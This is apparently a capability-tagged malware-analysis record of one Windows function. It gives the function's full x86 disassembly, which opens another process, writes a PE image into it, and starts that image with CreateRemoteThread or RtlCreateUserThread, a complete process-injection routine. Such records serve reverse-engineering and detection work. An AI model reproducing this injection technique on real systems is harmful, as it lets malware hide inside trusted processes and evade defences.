Function at 0x401580
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
test ebx, ebx
je 0x4017e8
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, ebx
call fcn.00401c70
test eax, eax
jne 0x4015b5
push 0x64
call edi
inc esi
cmp esi, 0x1e
jl 0x4015a0
mov eax, ebx
call fcn.00401c70
test eax, eax
je 0x4017e3
push ebx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x10], esi
test esi, esi
je 0x4017e3
push 0x404550
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401616
push 0x404560
push eax
call ebx
mov edi, eax
test edi, edi
je 0x401616
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
cmp dword [ebp - 8], 0
je 0x40164f
push 0x404550
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401645
push 0x404560
push eax
call ebx
test eax, eax
je 0x401645
lea ecx, [ebp - 8]
push ecx
push esi
call eax
cmp dword [ebp - 8], 0
je 0x4017c0
mov ebx, dword [0x40643c]
lea ebx, [ebx + 0x406400]
xor edx, edx
push 0x40
mov dword [ebx + 0x58], 0x50200
mov word [0x406400], dx
mov eax, dword [ebx + 0x50]
push 0x3000
add eax, 0x50200
push eax
push edx
push esi
mov dword [ebx], edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x4017c0
mov ecx, dword [ebx + 0x54]
lea eax, [ebp - 0x14]
push eax
push ecx
push 0x406400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx edx, word [ebx + 0x14]
xor ecx, ecx
lea eax, [edx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp cx, word [ebx + 6]
jae 0x40172f
lea esi, [eax + 8]
mov edx, dword [esi]
push 4
push 0x3000
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401717
mov eax, dword [esi + 8]
mov ecx, dword [esi + 0xc]
push eax
add ecx, 0x406400
push ecx
push edi
call sub.MSVCRT.dll_memcpy
mov eax, dword [esi]
mov ecx, dword [esi + 4]
add ecx, dword [ebp - 0xc]
add esp, 0xc
lea edx, [ebp - 0x14]
push edx
mov edx, dword [ebp - 0x10]
push eax
push edi
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x4016c1
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
mov eax, dword [ebx + 0x50]
lea edx, [ebp - 0x14]
push edx
push 0x50200
push 0x406400
add eax, edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebx + 0x28]
push 0
push 0
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
je 0x40179e
lea ecx, [ebp - 0x10]
push ecx
push edi
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401795
test byte [ebp - 0x10], 2
jne 0x401795
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 1
jmp 0x4017c0
push 0
push 0
push 0
push ebx
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
xor edx, edx
test eax, eax
setns dl
mov dword [ebp - 4], edx
lea eax, [ebp - 0x10]
push eax
push esi
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4017e3
test byte [ebp - 0x10], 2
jne 0x4017e3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret